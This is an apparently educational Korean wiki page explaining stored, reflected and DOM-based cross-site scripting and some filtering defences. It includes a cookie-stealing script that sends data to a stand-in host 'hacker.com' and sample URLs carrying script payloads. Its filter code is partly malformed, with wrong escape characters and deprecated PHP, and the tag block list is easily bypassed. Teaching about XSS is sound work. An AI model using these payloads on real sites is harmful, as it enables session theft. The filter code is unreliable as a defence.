-
Notifications
You must be signed in to change notification settings - Fork 0
Cross Site Scripting
XSS 취약점은 application이 신뢰할 수 없는 데이터를 브라우저에 전송하는 과정에서 validating과 escaping과 같은 적절한 검증이 없을 경우에 발생할 수 있다. XSS는 공격자가 공격 대상의 브라우저에서 script를 실행하여 사용자의 session정보를 훔히는 hijacking, 혹은 웹 사이트 변조(deface)등의 공격을 지칭한다. 즉, 웹 서버를 공격하는 방식이 아니라 client를 공격하는 방식이라는 점이 특징이다.
게시판과 같이 동적으로 생성되는 Page에 조작된 코드를 넣는 방식이다. 아래와 같은 방식으로 session정보를 탈취하여 정보를 악용할 수 있다.
<script>
String strCookie = Document.GetCookie(); // session 및 login정보등이 담겨있을 수 있다.
Redirect(http://www.hacker.com/SaveCookie?Data=strCookie);
</script>XSS는 방법에 따라 3가지로 분류할 수 있다.
XSS 웹 취약점이 있는 서버에 공격용 스크립트를 입력시키는 방식을 말한다. 방문자가 악성 스크립트가 삽입되어 있는 페이지를 읽으면 악성 코드가 실행된다.
악성 스크립트가 포함된 URL을 사용자가 클릭하도록 유도하는 방식을 말한다.
http://www.google.com/search/?q=<script>alert(document.cookie)</script>&x=0&y=0피해자의 브라우저가 HTML 페이지를 구문 분석할 때마다 공격 스크립트가 DOM생성의 일부로 실행되면서 공격하는 방식을 말한다. 페이지 자체는 변하지 않지만 페이지에 포함되어 있는 브라우저측 코드가 DOM 환경에서 악성코드로 실행된다. DOM기반 XSS는 서버와 관계없이 브라우저에서 발생하는 것이 특징이다.
http://www.google.com/page.html#default=<script>alert(document.cookie)</script>필터링 "<", ">", "(", ")", "#", "&", "'", """와 같은 기호를 필터링하는 방식이다. 또한 script, javascript, vbscript, cookie, location등과 같은 단어를 필터링할 수 있다. "<", ">"입력시에는 "<", ">"으로 인코딩하여 방어할 수도 있다.
const removeBad = (URL) => {
URL = URL.replace(/₩</g, "");
URL = URL.replace(/₩>/g, "");
URL = URL.replace(/₩#/g, "");
...
return URL;
}이러한 방어는 코드가 자바스크립트로 되어 있기 때문에 공격자가 버프스위트 등의 proxy를 사용하여 극복가능하다는 한계가 있다. 이런 한계는 아래와 같이 방어 코드를 서버에 올려놓는 것으로 어느정도 극복할 수 있다. 하지만 이는 서버성능에 영향을 주기때문에 개발자의 판단하에 방어기법을 선택할 수 있다.
function xss_filter($content) {
/* IE6과 7의 expression() 기능을 이용한 취약점을 방지하기 위해 <meta httpequiv="X-UA-Compatible" content="IE=edge" />를 반드시 붙여야 한다. */
// 악성 태그들 모두 제거
$content = preg_replace('/(<)(|\/)(\!|\?|html|head|title|meta|body|script|style|base|noscript|form|input|select|option|optgroup|textarea|button|label|fieldset|legend|iframe|embed|object|param|frameset|frame|noframes|basefont|applet|isindex|xmp|plaintext|listing|bgsound|marquee|blink|noembed|comment|xml)/i', '<$3', $content);
// 스크립트 핸들러를 모두 제거
$content = preg_replace_callback("/([^a-z])(o)(n)/i", create_function('$matches', 'if($matches[2]=="o") $matches[2] = "o";else $matches[2] = "O"; return $matches[1].$matches[2].$matches[3];'), $content);
return $content;
}링크에서 xss와 관련된 해킹기법을 연습해 볼 수 있다.
shinywaterjeong.com